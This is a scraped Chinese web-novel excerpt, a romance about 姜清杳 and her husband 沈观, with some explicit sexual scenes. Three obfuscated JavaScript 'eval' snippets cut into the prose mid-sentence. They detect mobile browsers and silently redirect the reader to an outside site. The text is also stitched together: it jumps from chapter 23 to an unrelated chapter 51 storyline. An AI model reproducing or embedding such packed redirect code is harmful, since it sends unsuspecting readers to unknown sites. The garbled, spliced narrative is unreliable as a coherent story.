直到姜清杳快缓不过气,沈观才松开她,他好像看出姜清杳在想什么,微光中目光灼灼,盯着她,哑声:“确认了吗?” 嗯。 他是沈观,真实存在的沈观。 姜清杳抱着他,紧紧抱着,沈观的体温已经烫得不能再烫,他想让姜清杳躺回去接着休息,可少女少见的黏人,不愿意松手。 沈观哄她,她也只是抿着唇不开口,紧紧抱着他。 她睁着那双漂亮的眼睛看他,怕他跑了似的,沈观被她抱了这么久,涨得厉害,牵连的额角都在疼,眼尾红红的,但还是没做什么,只是点头:“好,那你抱着我睡吧。” 姜清杳眨眨眼。 沈观轻嘶一声,被她握着,一阵酥麻自尾椎处蔓延而上,猝不及防,少年紧闭上眼,难耐的喘息,他喉间上下滚动,彰显了并不平静的心绪。 又过了会儿,也许有一会儿,也许只有几秒,沈观捏着她的肩,问她:“清杳,好吗?” 姜清杳更紧的抱住他。 沈观压抑着的情绪便都释放出来,姜清杳咬着他,缠着他。 沈观在姜清杳耳边,贴着她的耳后肌肤,哑着声说胡话。 “清杳……咬着我。” 他混不吝的话一刻不停。 臭沈观! 姜清杳脸红得要滴血,眼别开不愿看他。 “清杳,亲亲我。” 沈观却不如她的愿,那张漂亮的脸凑上来,向她求吻。 一整个夜,天蒙蒙亮时,姜清杳才睡下。 这一觉便睡到过了午膳的时候,醒来的时候,姜清杳身上已经被沈观擦洗换过干净的里衣。 屋外芸香半夏听到动静,快步进来探了探她额头。 “小姐,你好些了吗?” 两人都很担忧,姜清杳虽爱睡懒觉,可也很少睡到这么晚。好在沈观和她们说,姜清杳昨晚受惊,出了一身汗,惊醒后再睡,便睡得格外久了些。 “姑爷说你半夜出了一身的汗,可见是受了惊的。” 芸香愤愤,一想到此事还是忍不住痛骂那赌徒两句。 姜清杳眼神游移,有些心虚。 她是出了一身汗,可却不是因为受惊,而是被沈观…… 但一睁眼自己还在这里,眼前是她熟悉了十几年的芸香半夏,姜清杳很高兴,抱着她们抱了好久。 两个小丫头脸都红了。难怪姑爷总是要抱着小姐。 小姐好软……连头发都是香喷喷的。 21. 第 21 章 姜清杳醒了以后,郎中又来把过脉,吃了几帖药,已经好得差不多了,声音也恢复如初。 芸香和半夏怕她没好全,出去吹风着了凉,陪着她在屋子里打叶子牌。 连着几日,好得差不多了,才渐渐恢复如常,只是姜清杳受过惊后,不知道怎么,夜里还是常常惊醒,梦魇缠身。 睡前喝了安神药也不管用。 惊醒过后,便神色怔怔,定要挨着人睡了。 沈观既喜又忧,喜的是姜清杳难得的亲近粘人,忧的则是姜清杳喝了安神药也压不住的梦魇,会否过于伤神。 少年沉思,桌案上是这些年来,姜清杳在姜府发生过的大事小事集成厚厚一册,不止如此,他还明里暗里的查问了不少姜府服侍多年的管事嬷嬷,都不曾得到姜清杳少时发生过什么受惊的事的消息。 那缠绕着她的梦,从何而来? 沈观盯着桌上的卷册发呆。 姜清杳何时进来都未曾察觉,直到身边传来脚步,他才回眸,见是姜清杳,翻手将桌上的卷册盖住。 “清杳,怎么了?” 姜清杳奇怪的看了他一眼,又看一眼他按着的书册:“你这么慌张做什么?” 沈观手紧了紧,生怕被姜清杳发现那些是什么。 好在姜清杳另有要事,没再关注,提起来意:“前几日我阿爹说要给配几个侍卫。” 沈观点点头。当时他也在,颇为赞同姜县令此举。 姜清杳又道:“我阿爹已经找了好些个侍卫人选,送来给我看,只是管事说这些人是外来人,底细不明,不敢轻易放进府里。要你点头,才能让他们进来。” 沈观的确有过这个吩咐下去,姜清杳一提,他也想起来了,便说:“我命人领他们进来,刚好陪你一起看看人选。” 姜清杳应了声好。 侍女们便在院中安置了一番。 等关管事领了一行人进来,姜清杳愣了一下,一旁的芸香半夏也愣住了,两个小丫头脸颊飘红。 只有沈观脸都黑了。 不得不说姜清杳她爹还是有些了解姜清杳的,选的几个侍卫个顶个的高大俊朗。 姜清杳看看这个,再看看那个,眼都要看花了。 几个侍卫依次排列站好,应当是得过姜县令的吩咐的,都将自己的身家底细说的清清楚楚,好几个都是原本要等着衙门有空缺再招新捕快的,听闻姜县令要为爱女配侍卫,觉着这也是个讨好上司的路子,便积极来了。 姜县令筛过一遍,也不知有意无意,总之最后送过来的五个侍卫,样貌很优异。 姜清杳盯着看了一遍。 咬着手指。 好难选。 她本来打算只留一个的。 姜清杳自从几个侍卫进来,注意力便都被吸引走了,丝毫没有注意到一旁的沈观早已眉眼郁郁,更别提一转头,见到姜清杳一副“好难选,都想要”的表情了。 少年神色稍有些不善的转而看着那几个侍卫。 在场只有沈观不高兴。他后悔极了,当时便应该主动将此事揽下来,亲自替姜清杳物色。 芸香和半夏格外兴奋的去拽自家小姐的袖子。 小姐,每一个都好俊!都留下来吧! 姜清杳看来看去,觉得这五人身高样貌都挑不出什么格外瑕疵的。 再看一眼一旁两个小丫头格外兴奋的眼神。 直到关管事在一旁问:“少夫人,可有中意的人选?” 姜清杳想了想,迟疑开口:“要不,每一个……”都留下吧。 “关管事,今年府上还剩多少给侍卫的预算支出银两?”沈观生硬开口,打断了她的话。 姜清杳:? 芸香、半夏:? 五个侍卫也齐刷刷的看向了姜清杳身旁的俊美少年。 要不怎么说关管事是沈府的老人呢,从京城到溪金,再从溪金到抚阳,铁饭碗那是捧得稳稳的。 稍一会意,便眼观鼻鼻观心,脸不红心不跳的顺着沈观的意撒谎:“回公子,今年已经所剩不多了,怕是供不了太多侍卫的薪俸。” 沈观嗯了声,又不说话了。 姜清杳:…… 她有些纳闷:“今年,不是才开个头吗?” 关管事看一眼沈观,回道:“回少夫人,今年年初的时候,府里才新添了一些巡守侍卫。” 姜清杳日日在沈府,还真没发现这事儿。 但既然关管事这么说了,她只好问:“那还能再添几个侍卫?” 关管事低着眼,又去瞄沈观,等了半天,也不见对方指示,反应了一会儿,才明白过来,这是一个俊一点的侍卫都不想让少夫人添啊。 关管事一边心里替自家公子乱吃飞醋的行为臊得慌,一边硬着头皮委婉道:“恐怕一个也不够了。” 姜清杳:…… 沈府何时这般穷窘了?那她之前看到沈观那一匣子的银票地契呢? 姜清杳蹙着眉,看一眼那几个侍卫:“那这几人便从我的私帐出吧。” “这五个,我都留下了。” 沈观千算万算,没算到这儿,那五个侍卫都要行礼谢恩了,芸香半夏都要跳起来欢呼了。 沈观突然站起来,打断了他们的关动作。 少年盯着姜清杳,看了一会儿,见姜清杳还是神色有些莫名,没有察觉出他的郁郁,不由得有些泄气。 等她开窍,不知道要何时? 沈观决定自己努力捍卫他好不容易得来的婚姻。 少年正色:“既然是负责保护你的侍卫,那武功本领才是第一要位的,样貌什么才应该是其次。” “若是只看金玉其外,请了个花瓶来岂不是本末倒置了?” 姜清杳:话都是好话,理也是这个理,但是怎么感觉沈观在意有所指,点她呢…… 姜清杳点点头:“你说的对。那我让他们比试一场?” 让几人比试一场,不就知道谁更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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芸香半夏悄悄地各自选了心仪的,姜清杳便顺着点了点那两人。 又吩咐:“芸香,你去把我的私帐拿些出来给关管事,以后这两人的薪俸便从我这里出。” 沈观:!!! 警铃大作。 这怎么可以,夫人不花他的银两了,要和他分开用,算得这么明白,这是夫妻离心的前兆! 这绝对不行。 沈观诚恳地、小心地拉住姜清杳的手,掩饰般地轻咳了咳:“清杳,先前是我记错了。府上的预算银两绰绰有余。” 姜清杳欲言又止。 好像明白了。 再联想这人方才的孔雀开屏,便知道他是不愿意让这样英俊的侍卫进了沈府,随侍她。 她揪他的耳朵:“沈观,大骗子。” 22. 第 22 章 但因着姜清杳有过这样和他分帐的念头。 沈观便怎么也放不下心来。 接连几日,都拉着姜清杳出门逛街,要给她买这买那的乱花银两,姜清杳拧着秀眉,说都是些不需要的东西,将沈观训了一顿。 最后少年耷拉着眉眼,用恹恹不语的失落可怜模样央她,给姜清杳买了好些漂亮首饰布料才作罢。 沈观:放心了。清杳还愿意花我的银子。 这几日,沈观陪着姜清杳,将城里的街巷、酒楼、小吃都逛了个遍。 姜清杳尤爱吃南街的燕皮小馄饨。吃过一次以后,拉着沈观又来了好几次,常惦记着。 一个街头的小摊子,一对年轻的夫妻用心经营着,桌子凳子都擦着干干净净,偶尔还能看到她们的小孩子跑来跑去。 姜清杳点一碗燕皮小馄饨,汤鲜味美,皮薄又韧,十二只小馄饨,没一会儿就吃完了。 姜清杳看看碗,再看看沈观。 沈观了然,又点了一碗。 热气腾腾端上来,姜清杳又吃了一大半,剩下一些吃不下了,沈观就默默端过来,三两下就吃完了。 留下银两,老板夫妻来收碗筷,看着一对璧人相携离开。 还记得两人起因是第一次来时,姜清杳尝过,觉得好吃,吃完后意犹未尽,沈观看出来便说再点一碗,姜清杳说吃不下那么多了,会浪费。 沈观就说,吃不下的他吃。姜清杳起初还很犹豫,后来见沈观接受良好,往日不怎么爱吃的零嘴,姜清杳给他,他也笑吟吟的吃了,姜清杳便也有些习惯了。 过了几日,沈观果然守信诺的找了一些侍卫来,约莫和宗叔年纪差不多大,但身上没有江湖匪气,更像是正规军营里出来的。 姜清杳问及,沈观便说是从京城沈府调来的,她便选了两个随侍。 以后出门,便常有一个侍卫跟着,让人放心。 赶上元宵节的时候,沈观起了个大早,说要亲自给姜清杳包汤圆。 姜清杳偏爱汤圆里的甜糯芝麻馅,沈观为了投其所好,薄薄的一层糯衣,里面塞了满满的芝麻馅,煮好以后个个又大又圆,稍有不慎,便会戳破了皮,流出里面的芝麻心。 姜清杳吃过,又给姜县令送了些去。 下午绣娘来给她量身裁衣,先量的腰围,带的皮尺比往日宽了一指半。 姜清杳:天塌了。 她有些不敢置信的拿着那个皮尺看,又自己给自己量一遍,确认真是宽了一指半,不由得捏了捏小肚子,怀疑人生。 虽说她惯常除了吃了睡睡了吃,就是咸鱼翻身晒太阳,但往日身形还是窈窕纤长的。 为此她还经常在姜县令训斥她少吃零嘴的时候,得意洋洋的拿这一点反驳过。 “往日给我裁衣量身,用得也是这条皮尺吗?”姜清杳不死心,又问绣娘。 绣娘点头应是。又安慰她道:“夫人过了及笈之年,这一年人也抽了条儿似的长,正是长个子呢。” 姜清杳不信。 且更伤感了。 绣娘量过她尺寸,要用沈观新得来的几匹云山锦缎给她裁制新春衣。 姜清杳眼珠一转,问:“沈观的尺寸量了吗?” 这些日子沈观和她同吃同住,便是姜清杳零嘴小吃吃多了,那沈观呢?沈观也该长些吧。 没道理只她长,沈观却不长吧。 绣娘说:“还未曾,公子一向不让近身,都是自己量好,让管事报了尺寸过来。” 姜清杳就留下那皮尺,又问了沈观往日的尺寸。 姜清杳就和绣娘说:“沈观还没回来。你先回去吧,待我量好沈观的,明日把尺寸给你送过去。” 绣娘就退下了。 姜清杳心里惦记这事儿,晚膳都不想用。 捏捏肚子,又问芸香半夏自己最近是不是长了些,两个小丫头仔细打量,诚实的点点头:“似乎是有些,腰都圆了点。” 姜清杳:!!! 她对着镜子自己转来转去的照。 其实哪儿有这么夸张,镜中少女亭亭玉立,清姿玉骨,若真有,那也只是更匀称了些。 但芸香半夏两个小丫头自有自己的小算盘,小姐爱吃零嘴,怎么说也说不听,也只有因着吃太多长了些才能引起她重视。 因此不约而同的违心附和。 姜清杳秀眉一压,闷闷不乐:“那你们说,沈观长了吗?” 芸香半夏对视一眼:“姑爷倒是没觉着长了呢。” 姜清杳心里更不平衡了,脸颊都气得鼓起来:“可我和他都是一样的吃。” 桂花糕、糖葫芦、炸撒子…… 哪儿样胖人的东西沈观没吃。 芸香道:“许是姑爷每日清晨都会早起练个把时辰的剑呢,自然吃多少也不长。” 姜清杳抿唇,不接话了。 她瞧一眼芸香半夏,心想才不如她们的意,若是自己赞成了,这两个小丫头就要顺杆子往上爬,要她早起养生了。 沈观今日在书院,书院老师就着他的文章和他谈天阔地一番,等到他回来,姜清杳已经沐浴好,趴在桌子上百般无聊的玩着那个皮尺,等着他。 少年刚一踏进来。 姜清杳便听到动静站起来,手里还攥着皮尺,喊他:“沈观!快来!给我量量你的尺寸。” 少年愣住了。那张漂亮的脸唰一下红透了,连带着白皙的耳后也红了一片,颈间都晕上粉。 沈观耳根通红,看了眼姜清杳手里的皮尺,确认问:“现在?” 姜清杳点点头。 当然呀,量个尺寸而已,很快的。还要等什么黄道吉日么? “不然呢?”姜清杳一脸莫名。 沈观拒绝不了姜清杳,哪怕手心滚烫,耳根都要烧起来般的窘迫。 少年只好左右看看,小声:“那让她们都先退下吧。” 姜清杳:?只是量个腰围。 但她迟疑的看一眼沈观红着的脸,心想他往日也不许人近身量尺寸,恐怕是真害羞吧。 姜清杳后知后觉,便很贴心的说:“芸香半夏,你们都退下吧,把门关上,没我传唤便不要入内了。” 屋里只剩下两人了。 沈观红着脸想:虽然不知道清杳今日怎么这么主动,但照着她说的做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14986926|160415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总没错。 少年这样想着,难得犹豫的看一眼室内的灯火通明,熄了两盏烛火后,没那么明亮后。 他才颤着睫,探手解开了腰间玉带。 姜清杳眨眨眼。 盯着沈观的动作,半点不错开,心里暗暗想,沈观定是也长了,不然怎么会连腰间玉带这点宽度也要解下来,怕被量进尺寸里。 姜清杳看着看着。 神色越来越古怪。 等等……怎么好像有一点不对劲。解了腰间玉带可以,褪了外衫又解里衣的系带是做什么? 姜清杳拦住沈观。 “你做什么?” 沈观方才就已经被她一眼不错开的注视看得浑身发烫了,姜清杳又这样突然的靠上来,凑上前,纤手握住他的手腕,仰着那张素净白皙的脸,睁着那双清透澄澈的眼。 少年声音艰涩:“你不是要量尺寸么?” 没等姜清杳的疑问问出来,沈观就已经拉着她,探到了。 他哑着声音:“清杳,感觉到我了吗?” 姜清杳明白过来。白皙的肌肤也瞬间通红。 沈观!她要量的不是这个尺寸! 少女被他的体温烫得说话都断断续续:“我……我是要给你量腰围,今天府里绣娘来过了,说到了……唔,到了,裁制春衣的时候。” 姜清杳试图解释,可沈观左耳进右耳出,轻喘着应她。 “嗯,好。我知道了,是绣坊要我的裁衣尺寸。” 姜清杳蹙眉,涨的厉害,推他:“你知道,你还……” 沈观拉着她的手,将那条小皮尺递给她,挺腰。 他在她耳边轻声:“清杳,先从这儿量吧,春衣不及冬衣,更轻薄些,裁衣也需裁得更合身,腰围更要量的准些才好。” 姜清杳咬唇,他挺腰,说是要让她量腰围,可每动作一下,姜清杳的手都颤得要拿不稳那根皮尺。 沈观见她迟迟不动作,便主动握着她的手,带着她用皮尺从身后绕着腰围一圈,他要她低头看。 “清杳,看清楚了吗?” 姜清杳红着脸,只低头看了一眼,便移开视线,不愿意回答他混不吝、又话里有话的话。 沈观就催她,咬她的耳尖:“好清杳,把腰围记下来,还有肩宽,身长,都要量仔细。” 姜清杳推他,呜咽着说不量了的话被沈观的压过来的吻吞没于唇齿。 翌日姜清杳醒来,便看见放在床边的一张纸。 拿起来一看,是昨晚沈观拉着她一遍又一遍,说要量得仔细又小心的尺寸。 上面写着肩宽、腰围、身长,还有……… 姜清杳耳根通红,觉得自己未来有很长一段时间都不能直视小皮尺了。 沈观不要脸,姜清杳却不能直接将这张纸拿去绣坊,只能重新找了张纸,将上面正常裁衣要用到的尺寸,誊抄下来。 昨晚没怎么用晚膳,饿着肚子被沈观拉着胡闹一通,姜清杳早膳便吃得有些过。 吃过了早膳,觉着有些积食了,便想着在府里走走消消食。 姜清杳拿过那张记着尺寸的纸,自己往绣坊去。 23. 第 23 章 她记着沈观在两人刚成婚那几日,曾经带她走过一次去绣坊的路。 姜清杳走走停停,依着模糊的记忆,很快又看到那块匾额。 走过去的路上,上回那块碎了一半的青石板已经换上新的。 见到她来了,几个绣娘都停下手里的活计,迎上来:“夫人怎么亲自来了。” 姜清杳将那张记着沈观尺寸的纸递给她:“吃多了积食,便走走。” 绣娘拿过来扫了一眼。 “公子的尺寸较往常倒是没变化。” 哪壶不开提哪壶。 姜清杳想起这事儿便觉着不公平,怎么同样的吃,沈观倒半点不变。 绣娘往日都是得了尺寸裁新衣,难得姜清杳在,也没什么事,便邀她在这儿试衣。 沈观专门派人从各地,定期定时的买一些时兴的料子回来,因此绣坊里整整一面的架子上,都堆满了各色各式的布匹。 姜清杳看得咂舌。 这便是裁一年也裁不完的新衣,因此只能从里面挑着用一些,有些布匹从得来到过时也不一定能裁成新衣。 绣娘大多是各式颜色都裁一套。这会儿姜清杳在,便想拉她在这儿试试,看什么样的花色款式更衬她。 姜清杳配合的试了试,绣娘左看右看,便觉得哪一样都好看,就问她:“夫人天生丽质,什么样的布料都衬您,可有什么偏爱吗?” 姜清杳试了一圈,支着下巴,想了想:“颜色鲜亮些吧,我不喜太暗调的。” 姜清杳偏爱金色、红色,花团锦簇的布料。 沈观偏好玄色、青色,样式简单的布料。 绣娘得了喜好,便将时兴的、鲜亮的都挑出来,打算给姜清杳做春衣。 绣娘还要忙活,姜清杳便打算离开,走的时候,她朝后门那儿打量一眼。 “那儿是不是能上去?” 沈府的绣坊是个小二层楼的建筑样式,绣娘们都在一楼裁衣,二楼往上还有个木梯,能上去。 绣娘们点点头:“回夫人,是。只是上面没什么东西,一般只有有太阳时,才会上去晒些染布。” 姜清杳瞧一眼,绣坊的匾额是新的,但这个小二层楼瞧着倒像是沈府一直都有的,二楼的木楼梯都有些褪色了。 她这样问,有个原本就在沈府的绣娘便说:“是,这是一直都有的,后来公子改成了绣坊。” 姜清杳记着这个地方能看见点她在姜府时的院子,不知道上了二楼是不是能看得更开阔些。 她指指:“我能上去看看吗?” 绣娘连连点头:“自然。” 姜清杳便往楼梯那儿走,眼看着走到了半层拐角了。 沈观不知道何时出现在绣坊,喊住她:“清杳。” 少年快步走来,几步上来牵住她。 姜清杳有些疑惑:“你怎么来了?”她来之前沈观明明在书房写字。 沈观牵起一点笑:“我听你的侍女说你来了绣坊,便想着上回绣娘说要给我们做一套款式相配的衣衫。便来看看。” 姜清杳:“原来是这样。” 沈观便隐隐松了口气,牵着她的手想拉她下来。 姜清杳蹙眉:“方才我已经试过衣了,绣娘知道我喜欢什么样的款式。你也挑挑吧,我想上楼上看看。” 沈观攥着她的手不松开。 “上面有什么好看的,不过一些布架子,久不用了,都是尘灰还呛人,清杳陪我一起。” 他语气轻松,可脸色有些勉强,唇色微白。 姜清杳便探探他额头:“你怎么了?瞧着有些不舒服的样子。” 沈观闻言,顿了顿,顺势弯下来腰,捂着肚子。 “是有些。也不知道是怎么了。这儿有些疼。” 姜清杳仔细辨认了一下,想到什么,神色古怪:“这是……肾疼吗?” 少年脸色僵了僵,立刻撤回手,站直身子。 “是头疼,一时没站稳。” 他强调。 “清杳,我头疼。” 沈观都这样说了,姜清杳也只好作罢念头,扶着他:“那我扶你回去躺会儿。” 沈观忙不迭地点头。 姜清杳扶他回去,就见这人装了一会儿,便很快生龙活虎的样子。 她眯着眼打量沈观。 “沈观!你是不是在装病!” 少年矢口否认。揉着额角:“这头疼是一阵一阵的。这会儿好了。不知道等会还会不会复发?” 这说法有些合理。 姜清杳再想到两人昨晚胡闹到半夜,她是一觉睡到日上三竿的都还觉得有些困倦呢,更别提沈观天不亮便起,练过剑又读那些晦涩难懂的书,不头晕脑胀才怪。 往日姜清杳读书,就是这样,自然而然就觉得沈观也是如此。 这样一想,姜清杳就说:“不能总是闷在屋里,读会儿书便出门走走。” 沈观应了,见她不再关注绣坊的事,才松口气,暗暗想哪日定要将那小二楼推平了,重建个绣坊。 午膳的时候,大厨房做了道西湖牛肉羹,牛肉和豆腐鸡蛋一起煮成羹,口感鲜滑,很合姜清杳的口味。 姜清杳连吃了两小碗。 吃完后才懊恼的捂着肚子摆手说要少食。 天气渐渐暖起来,没那么刺骨的冷,今天天气好,中午过后有太阳出来,芸香半夏将压箱底的东西都翻出来在院子里晒一遍。 沈观也将书房里的书拿出来翻开晒着。 姜清杳就在一旁帮忙。 一会儿帮芸香半夏,一会儿帮沈观。 结果芸香半夏红着脸朝她摆摆手,意思是不要姜清杳帮忙,让小姐离远一些。 半人高的大箱笼。 姜清杳就眼睁睁的看着那两个新来的俊侍卫被芸香半夏拉着来搬那几个红木大箱子。 搬好箱子,又被两个小丫头拉着说话谈天。 姜清杳:…… 好。真好。不愧是她的小丫鬟,近朱者赤。 姜清杳转头去帮沈观。 沈观比起芸香半夏就热情多了,姜清杳随手拿本书,他也能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14990542|160415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给她说几句,一句随口的发问,沈观都放在心上,又找出几本相似的书来,给姜清杳讲其中关窍。 姜清杳若是听不懂,一脸懵,沈观也不会有任何不耐烦的情绪,而是不厌其烦的讲。 且他很会察言观色,若是姜清杳其实不感兴趣只是不好意思说,便敷衍的嗯的时候,沈观便点到即止。 若是姜清杳觉着有意思的事,却没听懂,有疑惑,沈观便会从头到尾细致的给她解释。 一下午时光弹指而过。 姜清杳听着古今故事,少年清越朗朗的声音,低着眼时认真俊美,颇觉满足。 末了,讲了一下午故事的人还言辞恳切的说多谢她帮他晒书。 姜清杳觉着和沈观这样活泼开朗的人在一起,便是自己是个哑巴,他也能找了话题来和她相处。 芸香半夏晒完大箱笼,打着要给姜清杳上街买东西的名义和她打请示要出府,姜清杳看看两个小丫头,又看看那两个俊侍卫。 格外上道:“去吧,你们两个人上街我不放心,让他们两个跟着去。” 姜清杳指指那两个侍卫。 芸香半夏就格外雀跃地出门了。 沈观在一旁默默看,没说什么,他倒是比较清楚姜清杳一向纵着她院里的那几个小丫头的作风。 往日为着能让她院里那几个小丫鬟在她面前能多提起隔壁有沈观这个人,沈观不知暗暗废了多少功夫。 沈观身边那个冷脸侍卫现在一听到糖葫芦就面无表情。 天知道,他来公子身边是为了图抱负展宏图的,却被公子派着隔三差五的买一树的糖葫芦去哄那几个小丫头,在姜小姐面前学舌夸沈观,只为着姜小姐能对公子有一二分的印象。 效果不知道倒是有几分,但冷脸侍卫现在偶尔出府,正好遇到那几个小丫鬟,还会被追着喊:“糖葫芦!” 芸香半夏则比起那几个年纪小些的稳重懂事点。 这不,出门玩了一趟,赶在晚膳时分回来,还惦记着给姜清杳带了她爱吃的糖炒栗子。 晚膳姜清杳又点了那道西湖牛肉羹,半夏捧了包糖炒栗子给她剥好。 吃好喝足,沐浴过,姜清杳突然捂着肚子格外难受,不似沈观的装病,真疼得面色发白,额角汗涔涔的。 沈观焦急地让人去请郎中。天色已经暗下来,侍卫去请也要一点时间。 芸香半夏见小姐上吐下泄,面色惨白,急的都快哭出来。 姜清杳吐了一会儿,胃里已没了东西,还是止不住的干呕。 沈观在一旁扶着她,什么方法都试了,见她难受的半靠在自己肩上。 一旁半夏跑过来,拿了几个酸梅子给姜清杳。 “小姐,吃点这个或许就不吐了。” 姜清杳勉强咬了半个,这才好些,止了干呕,可肚子还是绞疼,她想起这些天明明和沈观一样的吃,却只有自己长了一指半的腰围,还有格外爱吃酸梅子。 姜清杳不由得眼泪汪汪的:“沈观,我不会是有孕了吧?” 沈观呼吸一紧。 50-60 第 51 章 第 51 章 沈府隔壁的宅子会小一些,没那么宽敞。 沈观当时买下来,本只是想着姜清杳有时睡眠浅,半夜常会被一些动静惊醒,便不想宅子旁边有人家居住,以免有声响。 买下来后一直闲置着,也忘了向姜清杳邀功。 现在再看,竟是未雨绸缪了。 沈观进这宅子前,特地比对了一番,姜清杳院落所在。因此一进来,便径直的朝南边墙那走。 这宅子不似在抚阳,有绣楼二层。 因此沈观左右看看,瞅准了南墙边那棵大榕树。榕树的树冠繁盛,用来遮掩身形正好。 少年满意点头。 几步上了树,寻了处方便坐着的树杈间坐下来。 沈观今日穿白袍,和姜清杳有一件衣裳用的布料是一样的。沈观因此很爱在姜清杳穿那件衣裳的时候翻出来,同她一起。 沈观蹙着眉,怕把衣袍弄脏了,格外小心。 才朝姜清杳的院落看过去。 姜清杳小心翼翼,连客栈送来的饮食也不敢再用,都叫阿瓜与冬儿出去随机择着买的。而她是半步也不敢离开沈观,生怕虚弱的沈观遭人算计。 之后院子时常会有古怪的事发生,不是扔进鲜血淋漓剥了皮毛的动物,就是半夜古怪声响仿佛闹鬼,凡此种种不胜枚举,姜清杳日夜忧心,夜不能寐。 直到二月初七这日,姜清杳一早寻了武师来,谋划许久。 初八这日晚上,姜清杳絮絮交代,最紧要的笔墨砚台以及药丸和姜粉等等,还有被辱皮子,又将护膝和手套给他试了试,倒是合适。她正忙着,沈观却忽然伸手过来,抚在她脸颊。姜清杳怔住,对上了沈观惊诧的神情。 他蹙着眉,满是心疼: “你怎么……” 她憔悴了很多。这么些日子他醉心读书,哪怕人在同一屋檐下,甚至一同饮食,却也疏忽她许久了。 姜清杳笑着摇了摇头: “你安心考试,什么都不用管。” “你这样,我怎么安心考试?” “你不安心考试,我们往后要怎样?” 虽说三年一回,但以孟夫人这样,谁知沈观还有没有下一个三年。甚至沈观若此番失利,只怕也违抗不了沈尚书,难逃再娶姜家嫡女的命运。 沈观深深吸了几口气: “我会安心考试的,你,你一定要保重。” 姜清杳笑着点头,一一交代着把东西收拾好: “今儿早些睡,明天一早就要出门。这城里不知多少举人老爷,明天都是要去贡院的,去得迟了只怕要堵住。” 沈观点头,头回听她的话,没再读书,早早睡下了。 姜清杳拿棉絮给他堵了耳朵,熄了灯,又交代了阿瓜几句才出来,谢过守在院子里的两位武师才回屋。但这一夜,客栈的小院儿格外不平静。野猫的嘶叫,仿佛有人在哭的呜咽,甚至还有尖利的笑声…… 半夜有打斗的声音,她听见武师愤怒的低喊,竟然有人往屋顶泼了油,差点儿就点上火了。 姜清杳心噗通噗通的慌跳。 卯正,姜清杳就起来了。小吊炉给沈观熬上粥,备好的点心小菜取出来,又烧好热水才叫沈观起来。 辰时,姜清杳给沈观打点仔细,将斗篷给他裹好,连帽子都戴上了,才与他一同出来上了马车。两个武师护送,往贡院而去。 这一路如同姜清杳猜测,拥挤的很。不仅仅是书生赶考,还有不少看热闹的人。 去往贡院途经集市,正是早市的时候,马车走的就很慢。好容易走出集市,还没几步,忽然一阵糟乱,一声嘶鸣,姜清杳就觉着马车倾倒,她死死拽着扶手,与冬儿凑在一起随着马车倒下去,撞的浑身生疼五脏颠荡。 阿瓜与武师惊恐的呼声传来,有人七手八脚的将马车抬正,冬儿爬过来,姜清杳也忙去看她,二人身上都带了伤,姜清杳额头一片青紫见血,冬儿忙将帕子给她捂上。 阿瓜咬着牙,只看了一眼,就朝贡院飞奔而去。 原来是有人摔倒,肩上扁担飞起,正砸在马头上,马受惊倒下,连带着翻了车。 这时候有人拨开人群进来,瞧见马车里根本没有沈观,顿时阴沉了脸。没片刻,几个婆子过来,不由分说把姜清杳拽起来带走了。两个武师见这些人分明是大户人家奴仆打扮,也不敢阻拦。 姜清杳浑浑噩噩被人塞进马车,一路颠簸,下了马车又推搡前行。等看见春晖阁的匾额时,她忽然就想笑。 还没进屋,她就听见了孟夫人歇斯底里的怒骂。 沈观安然进入考场了。 姜清杳鼻尖发酸,泪意涌上,这么好些日子提着气忍着,如今总算是成了。 孟夫人见姜清杳掉泪,狠狠把手边小几上的茶具掼在地上: “小贱人!你哭什么!你……” 孟夫人一脚踹在姜清杳身上,姜清杳倒在地上,肋下生疼耳边嗡鸣,孟夫人污言秽语的怒骂她听不清,眼前也渐渐模糊。 孟夫人见她没反应,怒不可遏的又踹一脚。这下让姜清杳彻底晕厥过去,她还要再踹,被芮妈妈阻拦: “太太,还得瞧着姜家呢。” 不是瞧着姜家,是瞧着沈尚书。沈尚书喜欢姜家送的银子,姜清杳在沈家可以受苦受罪,但人不能残不能死。 孟夫人深深的吸了口气: “进了考场又如何?他一个下贱的庶子,还想逃出生天?” 她淡淡吩咐道: “姜氏不守妇道,在外厮混十来日,把她关进敬思斋好好思过,她既是六郎房里人,就等六郎来了再处置。” 她嘴角嗪着冰冷的笑,姜氏不是尽心竭力送沈六郎会试么?沈六郎要考九天,她就要看看,姜氏在静思堂跪上九天,悔不悔! 姜清杳还昏着,就被人拖去静思堂。 这一路不少沈家下人瞧见,都远远避着,沈家七郎沈瑾也看见了昏厥中被拖走的姜清杳,眼底几分讥诮。 姜清杳醒来的时候,日暮西斜。静思堂里只有一盏油灯,这是沈家仆从犯错儿受罚的地方,除了一盏油灯一个蒲团,余者什么都没了。四面墙角,姜清杳浑身上下寒浸浸的,她下意识蜷缩起来,慢慢睁开眼。 